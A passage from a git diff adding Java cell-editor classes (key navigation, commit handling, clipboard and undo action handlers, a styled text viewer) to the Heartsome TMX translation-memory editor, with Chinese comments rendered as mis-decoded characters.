(rowPosition != 0) { + TeActiveCellEditor.commit(); + natTable.doCommand(new MoveSelectionCommand(MoveDirectionEnum.UP, 1, false, false)); + natTable.doCommand(new EditCellCommand(null, null, null)); + } + } + } else if (e.keyCode == SWT.PAGE_UP && e.stateMask == SWT.NONE) { + int rowPosition = selectionLayer.getLastSelectedCellPosition().rowPosition; + if (rowPosition != 0) { + TeActiveCellEditor.commit(); + natTable.doCommand(new ScrollSelectionCommand(MoveDirectionEnum.UP, false, false)); + natTable.doCommand(new EditCellCommand(null, null, null)); + } + } else if (e.keyCode == SWT.PAGE_DOWN && e.stateMask == SWT.NONE) { + int rowPosition = selectionLayer.getLastSelectedCellPosition().rowPosition; + if (rowPosition != selectionLayer.getRowCount() - 1) { + TeActiveCellEditor.commit(); + natTable.doCommand(new MoveSelectionCommand(MoveDirectionEnum.DOWN, 1, false, false)); + natTable.doCommand(new ScrollSelectionCommand(MoveDirectionEnum.DOWN, false, false)); + natTable.doCommand(new EditCellCommand(null, null, null)); + } + } else if (e.keyCode == SWT.HOME && e.stateMask == SWT.CTRL) { + TeActiveCellEditor.commit(); + natTable.doCommand(new MoveSelectionCommand(MoveDirectionEnum.UP, SelectionLayer.MOVE_ALL, + false, false)); + natTable.doCommand(new EditCellCommand(null, null, null)); + } else if (e.keyCode == SWT.END && e.stateMask == SWT.CTRL) { + TeActiveCellEditor.commit(); + natTable.doCommand(new MoveSelectionCommand(MoveDirectionEnum.DOWN, + SelectionLayer.MOVE_ALL, false, false)); + natTable.doCommand(new EditCellCommand(null, null, null)); + } else if (e.keyCode == SWT.ARROW_LEFT && e.stateMask == SWT.NONE) { + int offset = styledText.getCaretOffset(); + if (offset == 0 && TeActiveCellEditor.getColumnIndex() == editor.getTgtColumnIndex()) { + TeActiveCellEditor.commit(); + natTable.doCommand(new MoveSelectionCommand(MoveDirectionEnum.LEFT, 1, false, false)); + natTable.doCommand(new EditCellCommand(null, null, null)); + } + } else if (e.keyCode == SWT.ARROW_RIGHT && e.stateMask == SWT.NONE) { + int offset = styledText.getCaretOffset(); + if (offset == styledText.getText().length() + && TeActiveCellEditor.getColumnIndex() == editor.getSrcColumnIndex()) { + TeActiveCellEditor.commit(); + natTable.doCommand(new MoveSelectionCommand(MoveDirectionEnum.RIGHT, 1, false, false)); + natTable.doCommand(new EditCellCommand(null, null, null)); + ICellEditor ice = TeActiveCellEditor.getCellEditor(); + if (ice != null && ice instanceof CellEditor) { + CellEditor ce = (CellEditor) ice; + ce.getTextViewer().getTextWidget().setCaretOffset(0); + } + } + } else if (e.keyCode == SWT.CR && e.stateMask == SWT.CTRL) { + TeActiveCellEditor.commit(); + } + } + }); + styledText.addVerifyKeyListener(new VerifyKeyListener() { + + @Override + public void verifyKey(VerifyEvent e) { + if (e.start == e.end && e.character == SWT.CR) { + e.doit = false; + } + } + }); + styledText.addMouseListener(new MouseListener() { + + @Override + public void mouseUp(MouseEvent e) { + if (e.button == 3) { + int x = e.x; + int y = e.y; + Point p = Display.getDefault().map(styledText, natTable, x, y); + e.x = p.x; + e.y = p.y; + e.widget = natTable; + e.stateMask = 0; + natTable.getUiBindingRegistry().getMouseDownAction(e).run(natTable, e); + } + } + + @Override + public void mouseDown(MouseEvent e) { + } + + @Override + public void mouseDoubleClick(MouseEvent e) { + } + }); + } + } catch (Exception e) { + if (cell == null) { + System.err.println("Cell being edited is no longer available. "); + } else { + System.err.println("Error while editing cell (inline): " + "Cell: " + cell); + e.printStackTrace(System.err); + } + e.printStackTrace(); + TeActiveCellEditor.close(); + } + + return true; + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/celleditor/CellEditHandler.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/celleditor/CellEditHandler.java new file mode 100644 index 0000000..2e2a830 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/celleditor/CellEditHandler.java @@ -0,0 +1,46 @@ +package net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor; + +import net.heartsome.cat.te.tmxeditor.editor.nattable.commond.UpdateDataCommand; +import net.sourceforge.nattable.edit.ICellEditHandler; +import net.sourceforge.nattable.edit.editor.ICellEditor; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.selection.SelectionLayer.MoveDirectionEnum; +import net.sourceforge.nattable.selection.command.MoveSelectionCommand; + +public class CellEditHandler implements ICellEditHandler { + + private final ICellEditor cellEditor; + private final ILayer layer; + private final int columnIndex; + private final int rowIndex; + + public CellEditHandler(ICellEditor cellEditor, ILayer layer, int columnIndex, int rowIndex) { + this.cellEditor = cellEditor; + this.layer = layer; + this.columnIndex = columnIndex; + this.rowIndex = rowIndex; + } + + /** + * {@inheritDoc} + * Note: Assumes that the value is valid.
    + */ + public boolean commit(MoveDirectionEnum direction, boolean closeEditorAfterCommit) { + Object canonicalValue = cellEditor.getCanonicalValue(); + switch (direction) { + case LEFT: + layer.doCommand(new MoveSelectionCommand(MoveDirectionEnum.LEFT, 1, false, false)); + break; + case RIGHT: + layer.doCommand(new MoveSelectionCommand(MoveDirectionEnum.RIGHT, 1, false, false)); + break; + } + boolean committed = layer.doCommand(new UpdateDataCommand(layer, columnIndex, rowIndex, canonicalValue)); + if(committed && closeEditorAfterCommit){ + cellEditor.close(); + return true; + } + return committed; + } + +} \ No newline at end of file diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/celleditor/CellEditor.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/celleditor/CellEditor.java new file mode 100644 index 0000000..12d4a78 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/celleditor/CellEditor.java @@ -0,0 +1,130 @@ +/** + * TmxEditorCellEditor.java + * + * Version information : + * + * Date:2013-6-6 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor; + +import net.heartsome.cat.te.tmxeditor.TmxEditorConstanst; +import net.sourceforge.nattable.edit.editor.AbstractCellEditor; +import net.sourceforge.nattable.style.CellStyleAttributes; +import net.sourceforge.nattable.style.HorizontalAlignmentEnum; +import net.sourceforge.nattable.style.IStyle; +import net.sourceforge.nattable.util.GUIHelper; + +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.StyledText; +import org.eclipse.swt.events.FocusEvent; +import org.eclipse.swt.events.FocusListener; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.IME; + +/** + * æºå’Œç›®æ ‡å•å…ƒç¼–辑器 + * @author Jason + * @version + * @since JDK1.6 + */ +public class CellEditor extends AbstractCellEditor { + + private CellEditorTextViewer textViewer; + private CellEditorCanonicalValue canonicalValue; + + + @Override + public void setCanonicalValue(Object canonicalValue) { + this.canonicalValue = (CellEditorCanonicalValue) canonicalValue; + textViewer.setTmxSegement(this.canonicalValue.getTuv()); + } + + @Override + public Object getCanonicalValue() { + this.canonicalValue.setNewFullValue(textViewer.getFullText()); + this.canonicalValue.setNewPureText(textViewer.getPureText()); + return this.canonicalValue; + } + + @Override + protected Control activateCell(Composite parent, Object originalCanonicalValue, Character initialEditValue) { + if (originalCanonicalValue == null || !(originalCanonicalValue instanceof CellEditorCanonicalValue)) { + return null; + } + + StyledText textControl = createTextControl(parent); + // init style + IStyle cellStyle = getCellStyle(); + + textControl.setBackground(GUIHelper.getColor(210, 210, 240)); + textControl.setForeground(cellStyle.getAttributeValue(CellStyleAttributes.FOREGROUND_COLOR)); + //textControl.setFont(cellStyle.getAttributeValue(CellStyleAttributes.FONT)); + textControl.setLineSpacing(TmxEditorConstanst.SEGMENT_LINE_SPACING); + textControl.setLeftMargin(TmxEditorConstanst.SEGMENT_LEFT_MARGIN); + textControl.setRightMargin(TmxEditorConstanst.SEGMENT_RIGHT_MARGIN); + textControl.setTopMargin(TmxEditorConstanst.SEGMENT_TOP_MARGIN); + textControl.setBottomMargin(TmxEditorConstanst.SEGMENT_TOP_MARGIN); + textControl.setIME(new IME(textControl, SWT.NONE)); + + setCanonicalValue(originalCanonicalValue); + textControl.forceFocus(); + return textControl; + } + + // TODO + @Override + public void close() { + super.close(); + CellEditorGlobalActionHanlder.getInstance().removeTextViewer(); + textViewer.dispose(); + } + private StyledText createTextControl(Composite parent) { + IStyle cellStyle = getCellStyle(); + int styled = HorizontalAlignmentEnum.getSWTStyle(cellStyle); + styled |= SWT.MULTI | SWT.WRAP; + textViewer = new CellEditorTextViewer(parent, styled); + StyledText textControl = textViewer.getTextWidget(); + Font font = JFaceResources.getFont("net.heartsome.cat.te.ui.tmxeditor.font"); + if (font == null) { + font = JFaceResources.getDefaultFont(); + } + textControl.setFont(font); + CellEditorGlobalActionHanlder.getInstance().addTextViewer(textViewer); + textControl.addFocusListener(new FocusListener() { + @Override + public void focusLost(FocusEvent e) { + CellEditorGlobalActionHanlder.getInstance().resetGlobalActionHandler(); + } + + @Override + public void focusGained(FocusEvent e) { + CellEditorGlobalActionHanlder.getInstance().updateGlobalActionHandler(); + } + }); + return textControl; + } + + public CellEditorTextViewer getTextViewer() { + return textViewer; + } + + public void insertCanonicalValue(Object canonicalValue) { + StyledText text = textViewer.getTextWidget(); + if (text == null || text.isDisposed()) { + return; + } + + int offset = text.getCaretOffset(); + text.insert(canonicalValue.toString()); + text.setCaretOffset(offset + canonicalValue.toString().length()); + } + +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/celleditor/CellEditorCanonicalValue.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/celleditor/CellEditorCanonicalValue.java new file mode 100644 index 0000000..d7a5774 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/celleditor/CellEditorCanonicalValue.java @@ -0,0 +1,90 @@ +/** + * CellCanonicalValue.java + * + * Version information : + * + * Date:2013-6-9 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor; + +import net.heartsome.cat.common.bean.TmxSegement; +import net.heartsome.cat.common.bean.TmxTU; + +/** + * 用于CellEditor æ•°æ®å°è£… + * @author Jason + * @version + * @since JDK1.6 + */ +public class CellEditorCanonicalValue { + /** + * 当å‰ç¼–辑的TU + */ + private TmxTU tu; + /** + * 当å‰ç¼–辑TU 下的 TUV + */ + private TmxSegement tuv; + + /** + * 编辑åŽTUV的完整文本内容,包å«æ ‡è®° + */ + private String newFullValue; + + /** + * 编辑åŽTUV的纯文本内容,ä¸åŒ…å«æ ‡è®° + */ + private String newPureText; + + /** + * @param tu + * @param tuv + */ + public CellEditorCanonicalValue(TmxTU tu, TmxSegement tuv) { + super(); + this.tu = tu; + this.tuv = tuv; + } + + /** @return the newFullValue */ + public String getNewFullValue() { + return newFullValue; + } + + /** + * @param newFullValue + * the newFullValue to set + */ + public void setNewFullValue(String newFullValue) { + this.newFullValue = newFullValue; + } + + /** @return the newPureText */ + public String getNewPureText() { + return newPureText; + } + + /** + * @param newPureText + * the newPureText to set + */ + public void setNewPureText(String newPureText) { + this.newPureText = newPureText; + } + + /** @return the tu */ + public TmxTU getTu() { + return tu; + } + + /** @return the tuv */ + public TmxSegement getTuv() { + return tuv; + } + +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/celleditor/CellEditorGlobalActionHanlder.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/celleditor/CellEditorGlobalActionHanlder.java new file mode 100644 index 0000000..1b8fcc2 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/celleditor/CellEditorGlobalActionHanlder.java @@ -0,0 +1,326 @@ +package net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor; + +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.commands.operations.IOperationHistory; +import org.eclipse.core.commands.operations.IUndoContext; +import org.eclipse.core.commands.operations.OperationHistoryFactory; +import org.eclipse.jface.action.Action; +import org.eclipse.jface.action.IAction; +import org.eclipse.jface.text.ITextOperationTarget; +import org.eclipse.jface.viewers.ISelectionChangedListener; +import org.eclipse.jface.viewers.SelectionChangedEvent; +import org.eclipse.swt.custom.StyledText; +import org.eclipse.swt.events.ModifyEvent; +import org.eclipse.swt.events.ModifyListener; +import org.eclipse.swt.widgets.Event; +import org.eclipse.ui.IActionBars; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.actions.ActionFactory; +import org.eclipse.ui.internal.WorkbenchMessages; + +@SuppressWarnings("restriction") +public class CellEditorGlobalActionHanlder { + + private CutActionHandler textCutAction = new CutActionHandler(); + + private CopyActionHandler textCopyAction = new CopyActionHandler(); + + private PasteActionHandler textPasteAction = new PasteActionHandler(); + + private UndoActionHandler textUndoAction = new UndoActionHandler(); + + private RedoActionHandler textRedoAction = new RedoActionHandler(); + + // private FindReplaceActionHandler textFindReplaceAction = new FindReplaceActionHandler(); + + private IActionBars actionBar; + + private CellEditorTextViewer viewer; + + private static CellEditorGlobalActionHanlder instance = new CellEditorGlobalActionHanlder(); + + public static CellEditorGlobalActionHanlder getInstance() { + return instance; + } + + private CellEditorGlobalActionHanlder() { + + } + + public void setIActionBars(IActionBars actionBars) { + this.actionBar = actionBars; + // 添加查找/æ›¿æ¢ + // actionBar.setGlobalActionHandler(ActionFactory.FIND.getId(), textFindReplaceAction); + } + + private class CutActionHandler extends Action { + + protected CutActionHandler() { + super(WorkbenchMessages.Workbench_cut); + setId("XLIFFEditorCutActionHandler");//$NON-NLS-1$ + setEnabled(false); + } + + public void runWithEvent(Event event) { + if (viewer != null && !viewer.getTextWidget().isDisposed()) { + viewer.doOperation(ITextOperationTarget.CUT); + updateActionsEnableState(); + return; + } + } + + /** + * Update state. + */ + public void updateEnabledState() { + if (viewer != null && !viewer.getTextWidget().isDisposed()) { + setEnabled(viewer.canDoOperation(ITextOperationTarget.CUT)); + return; + } + setEnabled(false); + } + } + + /** + * æ’¤é”€å¤„ç† + * @author Leakey + * @version + * @since JDK1.6 + */ + private class UndoActionHandler extends Action { + protected UndoActionHandler() { + super("UNDO");//$NON-NLS-1$ + setId("XLIFFEditorUndoActionHandler");//$NON-NLS-1$ + setEnabled(true); + } + + public void runWithEvent(Event event) { + TeActiveCellEditor.commit(); + IOperationHistory history = OperationHistoryFactory.getOperationHistory(); + IUndoContext context = PlatformUI.getWorkbench().getOperationSupport().getUndoContext(); + if (history.canUndo(context)) { + try { + history.undo(context, null, null); + updateActionsEnableState(); + } catch (ExecutionException e) { + e.printStackTrace(); + } + } + } + + /** + * Update the state. + */ + public void updateEnabledState() { + IOperationHistory opHisotry = OperationHistoryFactory.getOperationHistory(); + IUndoContext context = PlatformUI.getWorkbench().getOperationSupport().getUndoContext(); + if (opHisotry.canUndo(context)) { + setEnabled(true); + return; + } + if (viewer != null && !viewer.getTextWidget().isDisposed()) { + setEnabled(viewer.canDoOperation(ITextOperationTarget.UNDO)); + return; + } + setEnabled(false); + } + } + + /** + * é‡åšå¤„ç† + * @author Leakey + * @version + * @since JDK1.6 + */ + private class RedoActionHandler extends Action { + protected RedoActionHandler() { + super("REDO");//$NON-NLS-1$ + setId("XLIFFEditorRedoActionHandler");//$NON-NLS-1$ + setEnabled(true); + } + + public void runWithEvent(Event event) { + TeActiveCellEditor.commit(); + IOperationHistory history = OperationHistoryFactory.getOperationHistory(); + IUndoContext context = PlatformUI.getWorkbench().getOperationSupport().getUndoContext(); + if (history.canRedo(context)) { + try { + history.redo(context, null, null); + updateActionsEnableState(); + } catch (ExecutionException e) { + e.printStackTrace(); + } + } + } + + /** + * Update the state. + */ + public void updateEnabledState() { + IOperationHistory opHisotry = OperationHistoryFactory.getOperationHistory(); + IUndoContext context = PlatformUI.getWorkbench().getOperationSupport().getUndoContext(); + if (opHisotry.canRedo(context)) { + setEnabled(true); + return; + } + if (viewer != null && !viewer.getTextWidget().isDisposed()) { + setEnabled(viewer.canDoOperation(ITextOperationTarget.REDO)); + return; + } + setEnabled(false); + } + } + + private class CopyActionHandler extends Action { + protected CopyActionHandler() { + super(WorkbenchMessages.Workbench_copy); + setId("XLIFFEditorCopyActionHandler");//$NON-NLS-1$ + setEnabled(false); + } + + public void runWithEvent(Event event) { + if (viewer != null && !viewer.getTextWidget().isDisposed()) { + viewer.doOperation(ITextOperationTarget.COPY); + updateActionsEnableState(); + return; + } + } + + /** + * Update the state. + */ + public void updateEnabledState() { + if (viewer != null && !viewer.getTextWidget().isDisposed()) { + setEnabled(viewer.canDoOperation(ITextOperationTarget.COPY)); + return; + } + setEnabled(false); + } + } + + private class PasteActionHandler extends Action { + protected PasteActionHandler() { + super(WorkbenchMessages.Workbench_paste); + setId("XLIFFEditorPasteActionHandler");//$NON-NLS-1$ + setEnabled(false); + } + + public void runWithEvent(Event event) { + if (viewer != null && !viewer.getTextWidget().isDisposed()) { + viewer.doOperation(ITextOperationTarget.PASTE); + updateActionsEnableState(); + return; + } + } + + /** + * Update the state + */ + public void updateEnabledState() { + if (viewer != null && !viewer.getTextWidget().isDisposed()) { + setEnabled(viewer.canDoOperation(ITextOperationTarget.PASTE)); + return; + } + setEnabled(false); + } + } + + /** + * Add a Text control to the handler so that the Cut, Copy, Paste, Delete, Undo, Redo and Select All + * actions are redirected to it when active. + * @param viewer + * the inline Text control + */ + public void addTextViewer(CellEditorTextViewer viewer) { + if (viewer == null) { + return; + } + this.viewer = viewer; + StyledText textControl = viewer.getTextWidget(); + + viewer.addSelectionChangedListener(new ISelectionChangedListener() { + public void selectionChanged(SelectionChangedEvent event) { + updateActionsEnableState(); + } + }); + + textControl.addModifyListener(new ModifyListener() { + public void modifyText(ModifyEvent e) { + updateActionsEnableState(); + } + }); + + updateActionsEnableState(); + } + + public void updateGlobalActionHandler() { + if (actionBar == null) { + return; + } + preCutAction = actionBar.getGlobalActionHandler(ActionFactory.CUT.getId()); + actionBar.setGlobalActionHandler(ActionFactory.CUT.getId(), textCutAction); + preCopyAction = actionBar.getGlobalActionHandler(ActionFactory.COPY.getId()); + actionBar.setGlobalActionHandler(ActionFactory.COPY.getId(), textCopyAction); + prePasteAction= actionBar.getGlobalActionHandler(ActionFactory.PASTE.getId()); + actionBar.setGlobalActionHandler(ActionFactory.PASTE.getId(), textPasteAction); + preUndoAction = actionBar.getGlobalActionHandler(ActionFactory.UNDO.getId()); + actionBar.setGlobalActionHandler(ActionFactory.UNDO.getId(), textUndoAction); + preRedoAction = actionBar.getGlobalActionHandler(ActionFactory.REDO.getId()); + actionBar.setGlobalActionHandler(ActionFactory.REDO.getId(), textRedoAction); + // actionBar.setGlobalActionHandler(ActionFactory.FIND.getId(), textFindReplaceAction); + if (viewer != null && viewer.getTextWidget().isFocusControl()) { + updateActionsEnableState(); + } else { + actionBar.updateActionBars(); + } + } + + private IAction preCutAction; + private IAction preCopyAction; + private IAction prePasteAction; + private IAction preUndoAction; + private IAction preRedoAction; + public void resetGlobalActionHandler() { + actionBar.setGlobalActionHandler(ActionFactory.CUT.getId(), preCutAction); + actionBar.setGlobalActionHandler(ActionFactory.COPY.getId(), preCopyAction); + actionBar.setGlobalActionHandler(ActionFactory.PASTE.getId(), prePasteAction); + actionBar.setGlobalActionHandler(ActionFactory.UNDO.getId(), preUndoAction); + actionBar.setGlobalActionHandler(ActionFactory.REDO.getId(), preRedoAction); + actionBar.updateActionBars(); + } + /** + * Dispose of this action handler + */ + public void dispose() { + } + + /** + * Removes a Text control from the handler so that the Cut, Copy, Paste, Delete, and Select All actions + * are no longer redirected to it when active. + * @param textControl + * the inline Text control + */ + public void removeTextViewer() { + if (viewer == null) { + return; + } + viewer = null; + updateActionsEnableState(); + } + + /** + * Update the enable state of the Cut, Copy, Paste, Delete, Undo, Redo and Select All action handlers + */ + public void updateActionsEnableState() { + textCutAction.updateEnabledState(); + textCopyAction.updateEnabledState(); + textPasteAction.updateEnabledState(); + textUndoAction.updateEnabledState(); + textRedoAction.updateEnabledState(); + // textFindReplaceAction.updateEnabledState(); + if (actionBar == null) { + return; + } + actionBar.updateActionBars(); + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/celleditor/CellEditorTextViewer.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/celleditor/CellEditorTextViewer.java new file mode 100644 index 0000000..caa1fe4 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/celleditor/CellEditorTextViewer.java @@ -0,0 +1,676 @@ +/** + * CellEditorViewer.java + * + * Version information : + * + * Date:2013-6-6 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor; + +import static net.heartsome.cat.common.innertag.factory.PlaceHolderEditModeBuilder.PATTERN; + +import java.util.ArrayList; +import java.util.List; +import java.util.regex.Matcher; + +import net.heartsome.cat.common.bean.TmxSegement; +import net.heartsome.cat.common.innertag.InnerTagBean; +import net.heartsome.cat.common.innertag.TagType; +import net.heartsome.cat.common.innertag.TmxInnerTagParser; +import net.heartsome.cat.common.ui.innertag.InnerTag; +import net.heartsome.cat.te.tmxeditor.TmxEditorConstanst; +import net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable; +import net.sourceforge.nattable.util.GUIHelper; + +import org.eclipse.jface.text.Document; +import org.eclipse.jface.text.ITextOperationTarget; +import org.eclipse.jface.text.TextViewer; +import org.eclipse.jface.text.TextViewerUndoManager; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.PaintObjectEvent; +import org.eclipse.swt.custom.PaintObjectListener; +import org.eclipse.swt.custom.ST; +import org.eclipse.swt.custom.StyleRange; +import org.eclipse.swt.custom.StyledText; +import org.eclipse.swt.dnd.Clipboard; +import org.eclipse.swt.dnd.TextTransfer; +import org.eclipse.swt.dnd.Transfer; +import org.eclipse.swt.events.KeyEvent; +import org.eclipse.swt.events.KeyListener; +import org.eclipse.swt.events.MouseEvent; +import org.eclipse.swt.events.MouseListener; +import org.eclipse.swt.events.MouseMoveListener; +import org.eclipse.swt.events.VerifyEvent; +import org.eclipse.swt.events.VerifyListener; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.RGB; +import org.eclipse.swt.graphics.TextStyle; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Listener; + +/** + * 在 TmxEditor 中用于编辑 TUV 文本内容的编辑器,它能够将转æ¢çš„标记以控件的方å¼è¿›è¡Œæ˜¾ç¤ºï¼Œè½¬æ¢å‚考TmxInnerTagParser
    + * 内部已ç»å®žçŽ° undo/redo 功能,需è¦ç»‘定事件æ¥è§¦å‘事件。在事件å“应中通过{@link CellEditorTextViewer#doOperation(int)}执行
    + * 内部已ç»å®žçŽ° copy/parse 功能,需è¦ç»‘定事件ç触å‘事件,在事件å“应中通过{@link CellEditorTextViewer#doOperation(int)}执行
    + * @author Jason + * @version + * @since JDK1.6 + */ +public class CellEditorTextViewer extends TextViewer { + + private TmxSegement tuv; + ArrayList innerTagCacheList = new ArrayList(); + + public CellEditorTextViewer(Composite parent, int styles) { + super(parent, styles); + this.setDocument(new Document()); // 为TextViewer设置一个Document + initListener(); + // actionHander.addTextViewer(this); + // é…置标记分æžå™¨ï¼Œæ ¹æ®æ ‡è®°å ä½ç¬¦ï¼Œè®©æ ‡è®°æŽ§ä»¶èƒ½æ­£ç¡®çš„显示到指定的ä½ç½®ã€‚ + TagStyleConfigurator.configure(this); + } + + /** + * 当å‰å†…容为 TMX TUV + * @param tuv + * ; + */ + public void setTmxSegement(TmxSegement tuv) { + if (tuv == null) { + return; + } + this.tuv = tuv; + List innerTagBeans = tuv.getInnerTags(); + for (InnerTagBean innerTagBean : innerTagBeans) { + InnerTag innerTag = TmxInnerTagUtils.createInnerTagControl(getTextWidget(), innerTagBean, null); + innerTag.setVisible(false); + innerTagCacheList.add(innerTag); + } + String text = tuv.getTextTagPlaceHolder(); + text = resetRegularString(text); + setText(text); + } + + /** + * 设置当å‰å†…容,内容ä¸åšä»»ä½•å¤„ç†ï¼Œç›´æŽ¥æ˜¾ç¤ºåˆ°ç¼–辑器中 + * @param text + * 显示的字符串; + */ + public void setText(String text) { + getTextWidget().setText(text); + // åˆå§‹åŒ–撤销/é‡åšç®¡ç†å™¨ï¼Œè®¾ç½®æ­¥é•¿ä¸º 50。 + initUndoManager(20); + getTextWidget().setCaretOffset(text.length()); + } + + /** + * 获å–文本内容,ä¸åŒ…å«æ ‡è¯†å†…容 ; + * @return + */ + public String getPureText() { + if (getTextWidget() == null) { + return ""; + } + String text = getTextWidget().getText(); + if (TmxEditorImpWithNattable.showNonPrinttingChar) { + text = text.replaceAll(System.getProperty("line.separator"), "\n"); + text = text.replaceAll(TmxEditorConstanst.LINE_SEPARATOR_CHARACTER + "", ""); + text = text.replaceAll(TmxEditorConstanst.TAB_CHARACTER + "\u200B", "\t"); + text = text.replaceAll(TmxEditorConstanst.SPACE_CHARACTER + "\u200B", " "); + } + return PATTERN.matcher(text).replaceAll(""); + } + + public String getSelectionText(){ + String text = getTextWidget().getSelectionText(); + if (TmxEditorImpWithNattable.showNonPrinttingChar) { + text = text.replaceAll(System.getProperty("line.separator"), "\n"); + text = text.replaceAll(TmxEditorConstanst.LINE_SEPARATOR_CHARACTER + "", ""); + text = text.replaceAll(TmxEditorConstanst.TAB_CHARACTER + "\u200B", "\t"); + text = text.replaceAll(TmxEditorConstanst.SPACE_CHARACTER + "\u200B", " "); + } + return text; + } + + /** + * 获å–文本内容,包å«æ ‡è®° + * @return ; + */ + public String getFullText() { + if (getTextWidget() == null) { + return ""; + } + String text = getTextWidget().getText(); + if (text == null) { + return ""; + } + if (tuv == null) { + return cleanRegularString(text); + } + return CellEditorViewerUtils.convertDisplayTextToOriginalText(cleanRegularString(text), tuv.getInnerTags()); + } + + /** + * Dispose this viewer SWT control ; + */ + public void dispose() { + Control control = getControl(); + if (control != null && !control.isDisposed()) { + control.dispose(); + } + } + + private void initListener() { + StyledText styledText = getTextWidget(); + + // 去掉默认的å¤åˆ¶ã€ç²˜è´´é”®ç»‘定,以实现在å¤åˆ¶ã€ç²˜è´´å‰å¯¹æ ‡è®°çš„å¤„ç† + styledText.setKeyBinding('V' | SWT.MOD1, SWT.NULL); + styledText.setKeyBinding(SWT.INSERT | SWT.MOD2, SWT.NULL); + styledText.setKeyBinding('C' | SWT.MOD1, SWT.NULL); + styledText.setKeyBinding(SWT.INSERT | SWT.MOD1, SWT.NULL); + + styledText.addPaintObjectListener(new PaintObjectListener() { + public void paintObject(PaintObjectEvent event) { + StyleRange styleRange = 